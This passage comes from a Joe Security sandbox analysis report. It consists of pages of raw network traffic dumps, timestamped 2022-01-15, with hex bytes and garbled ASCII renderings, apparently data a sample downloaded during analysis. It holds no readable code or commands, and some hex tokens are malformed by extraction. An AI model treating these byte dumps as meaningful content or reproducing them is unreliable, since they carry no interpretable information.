b2 82 26 d2 fa 56 33 d4 fa 50 33 d6 f8 52 28 c8 b5 82 24 ca 7b 41 f8 c4 30 2d 92 c4 32 41 f4 c4 3c 41 f6 c4 3e 25 4e c4 38 41 f2 c4 3a 2b ad 24 c4 20 0e 25 c6 02 f4 f7 c7 bb 83 3f 0a b5 c3 31 12 46 13 2a 5a b1 d3 35 5a b3 93 37 5a ad Data Ascii: &!>KnI'`V}lrcR3.!7H:}8pr|~~^xNzNNNNNNNNNNNNNNNNN$N&N N"Mr&V3P3R(${A0-2A<A>%N8A:+$ %?1F*Z5Z7Z

2022-01-15 19:23:32 UTC 6551 IN Data Raw: 39 cc 8d 0f 2d d5 8d 4c 98 b7 52 06 fc 45 62 fb b8 29 1d a9 f8 bf 38 fb 22 fa fd 2f f0 55 9e a3 1c 44 17 52 a0 dd 9b 9b 0e 05 40 05 30 25 6c 04 66 8c bf 35 a5 6c 5b 7d 10 89 fd 0b 95 45 44 44 24 c6 06 cc 42 f2 fd 1d 50 0f b6 8c e7 55 35 a7 1b d5 64 a4 24 c7 30 68 3a 67 e1 9e b3 fa 2f 05 38 25 28 8c fc f5 a1 dd c0 fe 39 ce d8 2d 7d 95 a5 fa 3d 68 d9 ba 74ed 07 45 78 44 47 45 75 64 dc c7 4a 4c 8a c1 a4 3c 33 4f 35 8c c7 50 15 4c c3 e6 75 b6 7e 67 cd 28 3a f2 2c 8c 29 e5 b7 cd d0 04 26 3a 26 57 1e cc e6 16 2d 23 38 eb 5f 8c c4 cb fc 8e 29 d5 97 04 78 55 f5 e4 10 4b eb 0e c6 27 b5 52 f8 62 bf cc 3c 45 d8 cc da 95 5f 50 b8 b0 1c 8c e9 b5 e2 cc ca 55 02 8c dc 75 cf 0f e3 05 c1 5b e8 45 41 fc bd 9f f2 8c fa d5 5e c3 f8 35 8d ef a4 85 40 87 68 26 72 cc c9 26 9f Data Ascii: 9-LREb)8"/UDR@0%lf5l[}EDD$BPU5d$0h:g/8%(9-}=htExDGEudJL<3O5PLu~g(:,)&:&W-#8_)xUK'Rb<E_PUu[EA^5@h&r&

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 73 of 103

2022-01-15 19:23:32 UTC 6567 IN Data Raw: b0 91 43 2d 6d 91 64 06 32 e1 c7 e3 1c 97 b3 65 52 af d3 c4 c6 82 e7 fd 62 80 a3 cd 7a a4 d5 7e f4 ac d3 81 5a 87 f5 33 0a 85 ef b1 f0 75 7d 62 5f a9 2b b6 32 b6 d5 c4 c4 e6 ff 48 c8 87 fa 4b 7c 26 d8 28 f4 b7 29 2f 58 94 e4 13 fc 89 ef 26 b9 a2 d4 79 55 de 35 49 c6 e4 f8 40 e1 c3 b3 11 51 bf 85 4a da 9f 82 86 74 9f 7d f0 5c aa 7d 7a e3 75 79 4e 77 bb d5 4c f8 b9 ff 1a bd aa ce 9f ef e5 29 fc 3f 8d 25 b6 b8 0f da 63 e7 19 82 5a e8 37 fc 33 b1 8c f5 33 08 e1 0b 09 42 ac d1 67 58 e6 ef f4 6a 84 32 ec 4d ab d8 65 b5 21 f3 26 b0 8b cb 4e 30 4c c8 87 68 90 5e 64 bd 1a 15 de 24 3d 91 14 c6 93 ef 64 c8 86 dc 61 28 a7 d2 68 96 d4 f6 44 c1 57 fd 41 43 f5 d7 dc d6 d7 d9 63 c8 e6 fe f7 1d 85 f3 31 e0 f0 7d 02 15 a7 94 69 7a ca 82 44 28 97 51 09 bd d3 d5 c9 c1 aa b5 Data Ascii: C-md2eRbz~Z3u}b_+2HK|&()/X&yU5I@QJt}\}zuyNwL)?%cZ733BgXj2Me!&N0Lh^d$=da(hDWACc1}izD(Q

2022-01-15 19:23:32 UTC 6583 IN Data Raw: 8e fe ce 21 5c 96 5d 7e 56 a2 96 7f 18 74 37 64 89 4c 78 14 50 75 b0 0f 2c 91 f8 62 4e ac c8 6a a5 b7 aa 47 6e 21 36 6e 42 a9 24 08 7c 95 c1 5c bd a8 5c cb 17 ac d1 54 ee 47 d0 1c b2 e5 bf ab 58 d5 ad 24 40 4b e8 79 b7 d2 25 85 fa 3f 79 ce 6a c6 f1 ba 19 48 22 af 28 d9 95 27 88 ab 94 58 d3 36 88 90 7c 1b 06 46 06 c4 35 7d 71 ae ad f9 b1 b4 16 f4 79 f5 6f 99 ee ed 78 f8 06 ac f9 0d 37 e1 ab 4f 74 00 f2 1f f9 08 a7 37 cb 1c b7 bc 2c ed 90 9e e8 e8 b7 52 4c c4 c9 00 e6 3a 66 01 b0 cd f0 03 30 d1 b6 1d f7 d5 b3 05 28 6c b5 2e 0f e5 ec 09 1b a6 ac ce fb c2 2c 04 69 d4 51 0a 39 3f bf 46 1c 55 b9 f2 2c 27 ad 04 bd b6 b4 36 0c 49 e7 05 70 56 10 85 80 38 7b bc 13 95 3d e4 31 5d 09 9e 15 f0 bc 06 40 04 9d 4b 68 4f 95 dc b8 91 ee 3b 28 07 dd 11 3f dd cd 0e d5 97 b5 Data Ascii: !\]~Vt7dLxPu,bNjGn!6nB$|\\TGX$@Ky%?yjH"('X6|F5}qyox7Ot7,RL:f0(l.,iQ9?FU,'6IpV8{=1]@KhO;(?

2022-01-15 19:23:32 UTC 6599 IN Data Raw: b6 9f e0 36 9a 12 16 d5 4f 99 ba 7f 67 e9 41 48 aa e1 6a e4 cd bb 2e 44 ea da 0c 23 0f f5 91 7d ff f8 b6 43 50 01 9d e6 95 bc cb dc a3 f4 77 3c 08 b1 ea 40 b0 61 f4 fa 50 8d fe 6b 4d 9d d4 bf d1 ef 46 6d f1 b3 d4 a8 2c 86 90 b7 0c 21 0e f4 9a f2 00 64 13 5c 18 59 f6 2a 29 fb f2 7c e7 32 68 87 8d ff 7e 9d ab af e2 60 8f 5d 6b 8e 03 55 77 52 13 96 b8 56 87 ec 0c 80 3b bf a3 99 bc de 83 67 b1 52 87 f1 42 c5 0c c1 57 d7 a0 57 02 ae 7e 98 89 9c 78 8e 72 e4 b1 ff d8 c4 df a0 c7 7e 5e ed 5b 56 11 c1 a9 69 5f 6f 0f 43 1f b2 12 c9 c8 8f 13 c2 d4 ec 93 dc c9 fe f3 54 da ad 6c 1f 19 9c 67 50 00 b3 0a d8 48 52 9d 76 a0 cc de 6a 7b ff 03 be b4 94 85 d5 29 8e 8d 22 71 00 c6 52 65 bf 3d 4f 58 53 34 48 30 a0 ce 56 05 1a 45 86 1d 38 74 61 58 ae d8 e0 33 a1 d7 52 d1 e0 a8 Data Ascii: 6OgAHj.D#}CPw<@aPkMFm,!d\Y*)|2h~`]kUwRV;gRBWW~xr~^[Vi_oCTlgPHRvj{)"qRe=OXS4H0VE8taX3R

2022-01-15 19:23:32 UTC 6615 IN Data Raw: 86 fa cd 29 2a 92 8a 3c b1 cb e9 58 cd 57 ea 49 64 80 cb e0 40 79 ac 82 63 b5 42 29 11 3d 5c 35 54 e2 de fa 80 19 18 b4 0d 95 f7 7d 5c f7 e1 93 e1 35 47 7a 26 0d e5 7a 7f cf e7 de db ea df 58 cc c1 85 5a 68 31 07 c1 c0 eb 08 d2 32 ed 5c 74 48 1b a2 9d 36 71 2f 52 16 13 9e 46 10 13 38 24 2a b5 52 c3 50 99 ad f1 32 f5 e5 15 b1 a3 e5 9f ba fd 88 3c 2e a4 07 c6 7d 80 8b 26 0c 86 00 f4 95 db 8d 77 85 b9 64 c5 6b ed 4f 32 00 5c f5 a3 91 b4 a0 da 3c 25 82 0b d3 29 5f ab 82 d7 82 b3 28 9b 03 40 5b a9 d9 69 85 91 ab 7c 3b d6 e3 58 97 88 d9 48 02 19 ee 78 b2 b0 57 6b fe 38 ef 01 68 04 b7 63 5c 96 8e 3b 4d 35 b5 c0 2e 82 e5 75 e2 d7 94 71 76 be d4 05 2e 31 2d 44 32 6a c8 a4 40 cf 18 d8 04 28 a9 33 cf 01 d4 1b c7 7e d2 33 79 8b 91 4d c6 4f d1 01 32 e7 8b 6a 6a 00 b6 Data Ascii: )*<XWId@ycB)=\5T}\5Gz&zXZh12\tH6q/RF8$*RP2<.}&wdkO2\<%)_(@[i|;XHxWk8hc\;M5.uqv.1-D2j@(3~3yMO2jj

2022-01-15 19:23:32 UTC 6631 IN Data Raw: d0 8a ff 3d 6a 7e 91 d4 b3 05 7f 14 a5 fa b6 24 98 b2 2a 8c 4e e9 b7 49 5a 8c ec d3 50 25 e5 23 a5 43 f0 44 20 0f 45 ec c6 87 ed e3 fc d4 f8 83 fe 8f 73 ca 7a 2d 79 1b a6 a9 5d f3 27 4d 3d 51 c0 d6 f8 94 88 42 57 c5 41 b5 65 56 6b c1 e9 5e 7d 84 f0 27 1b ec 33 5f 5d ec d6 76 a4 8f d9 b5 48 54 e1 93 df 12 78 1f 15 81 df b9 44 9d c1 5f 2c d3 94 76 16 de 93 79 1d 67 e2 72 c3 9c b2 24 d9 68 df 87 ba 05 66 2a 00 c2 c7 bd 40 a0 b2 c7 e9 0c 75 c0 0c 53 a1 2f 09 20 b2 82 f9 00 b5 97 52 f7 e6 78 a0 0b ac 44 2c 64 4d d8 73 54 34 03 af 9c ab 24 4f e6 38 ac 13 98 99 03 99 b1 96 1c a6 f7 e7 7a c8 33 b9 56 7a 84 ee 49 d5 25 01 69 aa 6f 59 65 85 d4 09 6d 42 39 21 46 94 9d 45 76 63 a7 0c dd 7c 5b b5 23 67 88 4c 32 42 1d ea f1 4c 8f d3 c3 a8 4f ac 54 ea d4 92 53 37 86 e5 Data Ascii: =j~$*NIZP%#CD Esz-y]'M=QBWAeVk^}'3_]vHTxD_,vygr$hf*@uS/ RxD,dMsT4$O8z3VzI%ioYemB9!FEvc|[#gL2BLOTS7

2022-01-15 19:23:32 UTC 6647 IN Data Raw: 14 f0 79 21 d2 2d b9 f1 53 3c d0 f4 16 50 68 39 b5 21 92 61 13 6f 92 69 b0 f5 60 9d 09 70 03 ee f2 3d 8f 99 ed f0 44 e8 0b ab 35 38 e5 d4 88 a2 1b f3 eb 4e 0f 60 03 fe 00 3d 85 81 e9 fc a6 be 02 f0 79 37 57 4d 81 d3 a9 f8 02 2f 06 b9 fb 33 d0 85 30 f5 79 db 4f 4e 05 a1 fe a2 95 ed 16 2f 7c b9 fb 49 c0 83 3a a1 cf 52 1e c8 7f ee e3 31 58 ee 44 ad bd 85 a5 fb 58 71 16 aa f9 00 15 2e 57 ea d6 2c cf db 74 5b 30 53 e6 7d 40 cd bb 70 50 71 85 24 a0 92 91 59 9c a0 35 f6 e2 dc a9 bc 0e f6 39 c4 4e a7 ba b9 b0 e5 8b b9 e3 b0 35 44 97 0d dd 50 8d 1c 0c 86 50 87 97 dd 73 cb 98 30 ed 8a e2 5d 88 d9 9d 2b cf d9 20 0e 1d ba 50 53 04 60 66 49 41 14 ac 03 df 0d 2c 1e 9c f7 89 b8 83 59 fe 1c 0c 67 ae 5c 7e 4f 89 50 51 8e c0 c1 55 1b 28 f3 2d 43 75 00 2a d3 02 fa be 41 f5 Data Ascii: y!-S<Ph9!aoi`p=D58N`=y7WM/30yON/|I:R1XDXq.W,t[0S}@pPq$Y59N5DPPs0]+ PS`fIA,Yg\~OPQU(-Cu*A

2022-01-15 19:23:32 UTC 6663 IN Data Raw: 00 a4 ca ce 33 80 01 ec ac 35 c3 84 1e 84 ef e0 7d 22 de a4 da de 87 4c ec a0 c5 47 48 29 9f 87 18 ee 36 83 a0 ac d2 48 e6 0f 9d 22 00 9b f7 10 01 5d c6 cb 34 ac f1 9b 6f b0 fa 71 11 aa db 34 49 e7 f7 7c a5 eb a9 42 f9 ed 98 7f 11 8e ca 9d 78 77 a3 b3 40 e7 f3 89 00 81 9e 7e 7d 76 cb 55 ea eb dc e0 02 ec 91 e1 5f 28 c9 50 bd e7 3e 91 06 35 6c 7a a9 8b f7 63 f8 9a 06 5c f8 25 9a 60 5c 67 38 e4 41 de b2 91 d0 82 6f 81 f6 ae fb 34 bb e0 45 f9 e7 0f 55 de 0b b6 21 e4 10 87 56 a9 57 65 fe e4 cc f1 f3 1f 75 5b 0d dc b8 73 55 36 57 b7 19 51 5d 11 38 cc fc 31 d9 61 b8 8e d8 50 d1 a1 21 6e 9d 66 4f 1e 2d 85 2a 27 a2 ed f3 a2 e0 8a dc d2 d4 61 d2 96 5f e0 95 82 f6 c8 dc 60 16 d6 9c 36 d5 d1 30 fc c2 8a d9 7b 2b f8 83 74 1b e4 39 42 57 e5 4a a3 41 67 b1 83 d7 f1 08 Data Ascii: 35}"LGH)6H"]4oq4I|Bxw@~}vU_(P>5lzc\%`\g8Ao4EU!VWeu[sU6WQ]81aP!nfO-*'a_`60{+t9BWJAg

2022-01-15 19:23:32 UTC 6679 IN Data Raw: 13 87 21 96 2a ad 87 1c 07 cd 82 cd 8a 49 ac 06 b6 51 d3 4e b8 05 be 6c 3a b5 14 1c 3f 2e 3a 3b 7a 0a 68 00 ca c9 33 fc 57 f7 77 dc 12 0b fa 31 29 cb db f8 32 cd 9d e8 31 e5 69 04 18 01 ba a7 2c 21 e2 2d a8 eb 6d bc 8b c8 ce 34 c2 e0 5c 50 78 dc 61 74 cf ac c5 b1 fd 3b 95 f8 5e cd ad ea 6a 63 99 8d 34 57 a1 11 48 c9 5b d8 e5 1d 6d c8 43 84 d9 f1 4c c2 79 38 3e cc 2f 64 b5 71 db 19 60 22 aa 74 85 07 d7 cd 10 9f 81 04 9c dd f4 2e 18 0d df 97 33 55 24 64 3a 8d b1 42 a0 5f 5b 84 e5 5d 6d 64 43 6e 49 f0 67 e7 44 1b f0 7b f8 fe 21 a5 a5 1b e4 fd 6d 84 4f 85 d5 06 c3 e4 95 05 b6 cc ed 50 44 d7 61 6c e3 4d 05 b6 50 5c d1 24 7f 19 8b b4 58 2b 15 8f e3 5d c2 34 57 4d 25 81 50 a5 44 fe a3 b4 9c ec a6 f4 52 1b 80 7a 7f 2e ea a8 b1 ed b9 8c e1 17 94 93 4d af 33 b6 3d Data Ascii: !*IQNl:?.:;zh3Ww1)21i,!-m4\Pxat;^jc4WH[mCLy8>/dq`"t.3U$d:B_[]mdCnIgD{!mOPDalMP\$X+]4WM%PDRz.M3=

2022-01-15 19:23:32 UTC 6695 IN Data Raw: ea a2 21 e8 57 c9 24 05 83 4f 4c b4 ec 52 6c 04 c2 b1 05 d2 9d 35 52 5d fc f3 c9 00 4f cc 0d 4d 4b c6 bc 1e 0b dc 3d 05 c8 8e 9c e5 50 6d 6f 91 af 61 de ff 4f dc 35 e3 40 cd 1d a9 28 90 28 b4 17 2a 71 9a 6a 38 0d b4 2a 52 cc b8 44 34 87 97 b8 21 52 37 30 17 12 c7 88 53 01 bc 85 60 ac 59 dd 69 56 cb 40 8e d7 e4 4f 70 c1 c7 33 dd 48 91 28 cc 4b 98 3a b5 cb 95 73 0d e3 1d b2 41 15 08 c1 eb 01 ec 91 ae 23 38 21 fc 22 dc 73 4c b4 4c a6 74 f9 e8 a1 d4 e9 2d 58 d7 bc 28 f7 8d 3c 96 95 cd 42 49 40 01 91 27 20 db 1d 5c 1f 64 71 04 f8 a4 a4 91 e1 29 cf 0a 3c 42 fc 2c 5d 61 d6 9d 31 72 cd 44 2c 0e e8 10 a0 52 78 10 db 20 14 1b f8 ff 17 56 50 d5 ea 19 b0 56 cf c7 24 20 44 d0 c0 29 df a3 80 d8 0d c5 bc 68 5f 79 5d 7d f4 f0 28 31 20 1b 38 07 f7 b9 73 55 9f 05 28 52 02 Data Ascii: !W$OLRl5R]OMK=PmoaO5@((*qj8*RD4!R70S`YiV@Op3H(K:sA#8!"sLLt-X(<BI@' \dq)<B,]a1rD,Rx VPV$ D)h_y]}(1 8sU(R

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 74 of 103

2022-01-15 19:23:32 UTC 6711 IN Data Raw: b6 ed 3a 86 e0 e3 ca 80 74 53 34 80 98 e9 75 2d b8 54 5d 57 8e cd 19 f3 f2 51 37 18 60 3d 79 81 b8 5a 32 d2 91 ec e5 15 51 d4 15 9d 19 e5 fa 44 73 6b 6f e8 3f e1 bb 44 3d 62 ea 11 8c da a0 7d 50 57 2e 79 a8 60 3d ff 28 9f c0 cb 78 bf f0 20 d1 9c 79 dd af 49 4d 02 a0 cd 87 86 ed d8 8d 2f 08 a7 32 95 3e 32 b4 2c 1b 5f 2a d9 27 39 a5 7f 01 25 20 96 64 bd 23 b1 25 51 2a de b7 41 60 29 64 7d e8 00 8d 63 15 5a 5e 62 b5 6c 28 50 72 68 7b 8f 15 15 78 d8 14 04 48 62 e4 19 6c 23 0b 55 18 be 17 67 b8 d5 e2 63 a4 23 5f 5d 18 cd 10 67 a8 d5 6b 04 ce 89 0f f4 87 e2 6f 1b 18 a7 43 b9 3a 9b 0b 0a f8 d5 22 f2 cc b8 98 f1 87 f9 af be d7 ee f1 e9 87 ee 65 89 55 7a bb b0 96 04 b5 2c c8 7b 08 fa 84 9b 20 5b 0e 25 3a 30 30 c6 7e 04 34 03 b0 4c fa cd d4 64 82 8e 02 83 d4 20 52 Data Ascii: :tS4u-T]WQ7`=yZ2QDsko?D=b}PW.y`=(x yIM/2>2,_*'9% d#%Q*A`)d}cZ^bl(Prh{xHbl#Ugc#_]gkoC:"eUz,{ [%:00~4Ld R

2022-01-15 19:23:32 UTC 6727 IN Data Raw: b5 01 ee f0 b8 83 bd 2c 8d 99 db 67 54 49 57 02 d6 eb de b1 18 b1 97 86 23 8d bc d9 0c 53 43 c6 90 bb 7d 57 30 c5 ec 58 a4 db b9 69 d5 3d a3 36 cb bc a1 22 78 d7 6b 79 a6 df bb 0b ea 12 2e f8 d8 d5 82 d5 17 20 bd 7e 59 8a b8 4d 98 0d 4b 10 0e 18 96 4c 84 f7 b1 12 7d e7 b3 01 3c ac ec a2 2f 62 79 1a 2f 4d 52 ec ca e3 2c 4c 6f c5 68 f3 32 cb b0 fa d8 63 b3 17 d4 c4 b9 f3 ff 8f 73 ab 9b 0d 32 85 cb 34 8d c7 a7 75 31 0d e0 d5 dd d7 0e 8b a8 8c be 97 8f 45 46 b7 2f 0c d5 36ce b2 2e cf e5 db 38 1a 09 6e d6 59 68 e7 79 c5 90 a0 aa 8d 4d 6f 5e 43 85 0b 63 45 c1 d6 e3 26 c8 30 d6 c5 a4 df dd 38 c0 a6 ef f2 bd 62 75 09 1f a0 3f cd 67 ea 73 3d c4 54 81 ef b0 f1 e1 9c 33 c8 c0 90 c6 20 3c 04 17 99 32 d6 3b 79 3f c5 ca be e1 2f c6 1c d7 a9 bd 37 da c7 e7 b5 12 61 29 Data Ascii: ,gTIW#SC}W0Xi=6"xky. ~YMKL}</by/MR,Loh2cs24u1EF/6.8nYhyMo^CcE&08bu?gs=T3 <2;y?/7a)

2022-01-15 19:23:32 UTC 6743 IN Data Raw: 57 67 af 31 0e 47 3e e7 63 46 16 85 73 4d fd 05 3f c5 bf 1d 0d 7c db 82 8e e6 bd 86 fe 62 2d 0d 65 b2 87 0c 05 91 90 46 35 70 b2 b8 39 f0 26 e2 4e d6 9e 2b f1 94 59 50 58 7d d8 76 bb c5 8c 6d b0 b4 13 07 22 19 c5 9c 38 81 c5 64 69 8b 72 11 be c5 d4 35 71 c3 81 2e f3 3d bd e6 4a c2 e8 07 32 6d 32 0b fb ec fa e3 78 cc 3d d3 7b 26 1f 59 14 9e b3 68 24 65 bd fd e2 00 6f e3 35 c5 d7 87 b2 04 8d 4e 69 e1 bd 1d 60 9e e1 29 c1 06 8c 0c 0b fa e4 8f f0 4d f9 2e 07 3d 5f 8c 13 1f 07 70 42 40 bb 00 6d 16 56 03 e0 b3 bc 84 21 a9 6d 35 f8 45 dd 2b a7 db 8b 64 b9 c6 65 2c a9 d4 0d 01 92 83 bd 72 42 c7 23 16 d3 e1 0d 0c 36 6a 85 73 2f 12 e6 f7 3a 0c 19 c4 9d 04 30 6c aa 36 61 0c 4c b2 c6 0e 3c f0 b1 3c 38 c0 53 c2 56 ca c8 34 db c5 d0 ec 74 15 37 1a 70 d5 bd 24 6a d7 9e Data Ascii: Wg1G>cFsM?|b-eF5p9&N+YPX}vm"8dir5q.=J2m2x={&Yh$eo5Ni`)M.=_pB@mV!m5E+de,rB#6js/:0l6aL<<8SV4t7p$j

2022-01-15 19:23:32 UTC 6759 IN Data Raw: f1 ee 6c 40 e1 91 5c 71 d1 40 4c a2 c1 73 44 d0 c1 21 45 00 9b b7 a9 78 05 b3 f8 74 53 bf ce 70 ac bb 21 72 fd bb 70 72 c2 d9 bf a8 14 58 89 11 59 5b d4 12 b6 5a 2b 13 86 5a 7b 93 d7 5a 4a 8b 1a 60 97 2b 73 82 ee 6b 4c 41 c1 c0 bc 16 41 d7 c4 3a 41 0b 8e 6d f6 45 98 4f 54 9e c9 73 44 b2 48 1b 4b 0b f1 25 af ab 22 e2 f9 4b 74 a2 c7 8b ba 62 13 cb 8e 22 66 eb db 24 ae a4 76 0c eb dd ba 1c 36 ed 8c 2c 67 fd db 3d 4f a7 73 ef b3 3e 59 4b 27 d2 36 6a 87 42 62 4e db 1d 84 e5 fc d4 54 c6 b9 b0 9c 12 33 02 bd 8b 77 b1 78 3e b6 83 f2 1e f8 32 e2 33 93 70 d6 0f 03 36 45 e8 f8 80 7a d4 76 33 fa 97 76 d1 87 49 df 9f f3 fa 7f d8 f3 fa 7f 19 f4 fa dc e4 6e 09 93 72 92 07 2a c0 db 20 27 4d f3 6e 6e c6 cf d3 ff 99 dd 69 cd d2 f4 52 a8 50 f3 9e 8b 7c 27 08 32 fc 58 08 32 Data Ascii: l@\q@LsD!ExtSp!rprXY[Z+Z{ZJ`+skLAA:AmEOTsDHK%"Ktb"f$v6,g=Os>YK'6jBbNT3wx>23p6Ezv3vInr* 'MnniRP|'2X2

2022-01-15 19:23:32 UTC 6775 IN Data Raw: 32 e1 bb a9 ad 1f 5c 39 3d 1a a2 bd 4e c0 8a 2c c0 72 90 09 d9 8a 41 dc c0 c0 f7 ee 8f f3 55 35 1b c3 5e fa 29 bf bb e8 c3 d7 06 0a a7 4d 0c f0 3e cf 48 f6 57 c5 ac 0b df 2f f2 a3 1f a1 b3 7f 3c 21 4d 0d 3b 53 1d 92 ab 03 1e c2 8b 3e 7f 0f 4d 93 ab eb 49 62 24 c3 8b 2e 71 a0 c0 7e 5f d5 85 3c 70 27 c1 ed 9a c0 4c db a0 eb 25 33 3a 09 9e d0 9a 3a 7f 9f da 66 bf bf 1a af fc 68 2e fe e2 37 af f3 a9 05 fe d5 5a 24 d6 32 96 f0 23 f7 bd 4b dc ca c7 c2 a2 ed 78 cd a3 c3 b4 0a 29 c3 a4 0a 19 c3 94 0e 09 59 f2 2b e9 a6 4d cc 27 04 07 5b 7f d7 30 fa 1a 53 25 b5 a2 f8 a7 39 3a 08 95 c9 94 d3 7f 9d 6c 44 06 7a 8f a8 b0 b1 59 7a 28 ae b4 e7 f1 f5 b9 fc 94 22 a5 e0 9e 82 b4 f8 85 3f 45 eb 15 cc 60 43 0e 9f e2 69 94 13 20 5b 3f 7f 81 eb 7c 20 f1 f2 cc b9 d9 f0 54 39 c9 Data Ascii: 2\9=N,rAU5^)M>HW/<!M;S>MIb$.q~_<p'L%3::fh.7Z$2#Kx)Y+M'[0S%9:lDzYz("?E`Ci [?| T9

2022-01-15 19:23:32 UTC 6791 IN Data Raw: 4b ce 74 4d 0f 21 b0 88 26 ea e6 a3 c3 72 f6 4e 5a 1e dd 7f e0 c8 b1 1a ae b4 5c 87 6e ed 0c 67 36 57 0d 41 dfe4 9c 04 2a 47 16 03 2a 97 5e 19 a1 21 a7 5b 66 e8 7d 9c 7e 05 2c 40 53 55 fb 98 11 57 05 40 2d dd b2 63 a0 34 35 9b e2 b5 1b b8 48 b9 e4 0f 5f cc 41 f5 fc 29 1d ba b6 d7 86 05 2e 22 a5 06 01 04 95 79 6a 30 f1 62 f9 49 45 47 22 d8 47 ca 2c 78 2e cb 7b a5 46 85 6b cd 22 ca c2 37 e7 b6 9f a4 a1 3e 11 7c 65 70 1e 11 5e 19 47 e3 ba 21 45 db 62 ae 0e 1c 8e 1e d3 28 45 d2 e8 74 34 f4 6d 58 8f 21 49 b5 ed 87 46 5f b9 8e ad e9 1d e6 01 89 65 f2 79 8b 4e 42 bb c3 32 e7 66 de 23 a0 ff 38 04 47 0c 9f a5 78 90 da 10 e2 f8 2d 1e 9a 69 0f 15 68 23 8f 69 9d d4 39 af a5 03 79 06 dd 06 f6 b1 04 c0 65 c8 09 d0 90 66 ab 3a 0b 06 1e 47 da 9b 2f 98 0a b4 7f c0 a4 e0 Data Ascii: KtM!&rNZ\ng6WA*G*^![f}~,@SUW@-c45H_A)."yj0bIEG"G,x.{Fk"7>|ep^G!Eb(Et4mX!IF_eyNB2f#8Gx-ih#i9yef:G/

2022-01-15 19:23:32 UTC 6807 IN Data Raw: 36 94 e5 e7 1d 63 c4 0c 34 22 3c 50 b1 b8 bf d3 9d 90 5d 37 5e de b6 1f 54 f5 9e 17 28 57 85 91 d9 9b ab 72 1c f1 79 05 82 39 1d a5 0a e5 9e bc 7a 71 58 19 ac 03 52 41 24 0d ed cd b5 15 e4 0f aa 6d d7 e7 78 1a 68 86 da 20 39 2a 1c a3 75 00 78 95 05 21 d3 ef e6 00 0a e8 fd 15 60 cd a9 aa ae 4e ab d8 0a a5 9e 8c 45 cc 0b 03 bc 77 14 d9 af 95 f9 40 b5 d9 99 50 e3 85 ec e5 14 4b e3 28 46 82 de b3 46 42 e9 f1 36 42 a8 cd 50 87 f8 cc 1d c7 99 29 f6 cd 99 59 18 84 7d e4 03 17 ab 97 30 50 b2 10 fc 3e f1 08 d3 86 3f 73 80 0c b8 3d 24 d4 35 16 d3 81 9e cc 5f 4f f3 84 e2 ce 81 77 71 a3 d2 78 a2 95 f8 1a cf be c2 40 28 9e 63 ef 5c 1e df bc 4c b5 63 9e 63 71 14 60 37 57 02 23 14 0e 9c 7d 4d d7 a1 ee 72 85 a0 8c 90 d3 94 dc ac 09 d8 8e 2a cb 16 ef 68 61 d3 5c 29 b0 a0 Data Ascii: 6c4"<P]7^T(Wry9zqXRA$mxh 9*ux!`NEw@PK(FFB6BP)Y}0P>?s=$5_Owqx@(c\Lccq`7W#}Mr*ha\)

2022-01-15 19:23:32 UTC 6823 IN Data Raw: 70 98 1b 08 6c 50 03 74 7f b7 22 95 21 d1 d9 84 31 05 a5 2d 0c b9 f9 cd 10 85 a7 8c c9 ca f0 60 84 4f 79 55 50 de b0 5c 28 f2 d1 de 8f 79 75 46 6e a6 6a 7d c0 e5 d6 d5 28 50 cd ad 44 21 b7 53 99 9d e2 2e b9 39 2c 05 18 9d 81 ee 3a ca 54 1b 2f 01 9c f4 86 00 5f 24 f0 99 9d c3 1c e5 d1 29 40 b5 37 7d e8 d4 b6 2e 32 81 b4 04 b1 c2 af 0a ff 8d 74 b8 68 53 5d 2d 30 bb 09 00 e6 8e cf 32 3c 8b 62 98 7e cd 5f 3e 26 79 e9 e9 ea a2 b1 44 f0 fd 61 5e aa 8d 09 34 30 b7 32 9d 6a 79 ae d0 c0 0b 89 01 37 c9 d4 28 fe 75 38 9c 2d b7 d9 e1 96 bc d5 5e 04 d5 9a 00 3b a0 69 af 88 8d 3d 58 77 d7 21 20 3d 4f cb b0 f0 7d ef 28 7c 4b c4 1e 2c 49 8f 17 80 61 f7 9c 1c 94 6f 57 58 80 09 27 52 79 f8 64 77 b1 c1 9d 64 2f 35 de 09 c9 0f 52 18 91 99 be a9 b5 46 c8 05 ce dd 7c 97 c4 c8 Data Ascii: plPt"!1-`OyUP\(yuFnj}(PD!S.9,:T/_$)@7}.2thS]-02<b~_>&yDa^402jy7(u8-^;i=Xw! =O}(|K,IaoWX'Rydwd/5RF|

2022-01-15 19:23:32 UTC 6839 IN Data Raw: db 43 37 34 3d 5f 06 e3 b1 ed 41 9a c0 77 52 76 48 29 52 e6 b9 e7 2a fa c6 13 bf ff 7d 6c ae ef 3a 3b 45 ec 45 f1 91 a2 87 fd 09 aa 83 e8 f0 91 d6 55 b9 66 69 86 87 f4 78 9a 23 a3 53 1c ab 1f 5f 16 21 f0 ee d1 68 16 71 1d 1d ed 2b 61e3 66 48 01 5f b7 29 8f e4 d0 48 db 45 85 6e 92 b1 07 5f 2f fd 00 35 dc 22 0d ec 69 0e 1d 2b b5 4a 35 b4 1b a1 b7 46 9b ce e4 16 22 f8 73 5f c9 6c e6 3e e6 ed 74 09 d1 ea 07 79 d6 3f 8b 6b c5 24 4e 90 4a 82 7c cc 6c 89 23 76 77 cd c4 3f 2f 85 57 97 0d 65 32 44 43 b4 7d 2b 6f 6b 5f 4c 40 2f b4 32 a7 39 44 3f 4b 7f 23 66 75 b1 db d1 e2 c0 df 6a 99 bd 13 8c 2b 50 b9 71 cd da 99 a9 2d 6b 0c ba 11 17 46 53 72 f5 08 f1 d5 c8 b0 8f 39 b9 c6 80 21 7d fb ac fb 7b 19 4b 38 b1 8c fd 30 4d 89 ca 4e 45 fa 0a eb b6 f5 28 05 ff 98 64 cc a7 Data Ascii: C74=_AwRvH)R*}l:;EEUfix#S_!hq+afH_)HEn_/5"i+J5F"s_l>ty?k$NJ|l#vw?/We2DC}+ok_L@/29D?K#fuj+Pq-kFSr9!}{K80MNE(d

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 75 of 103

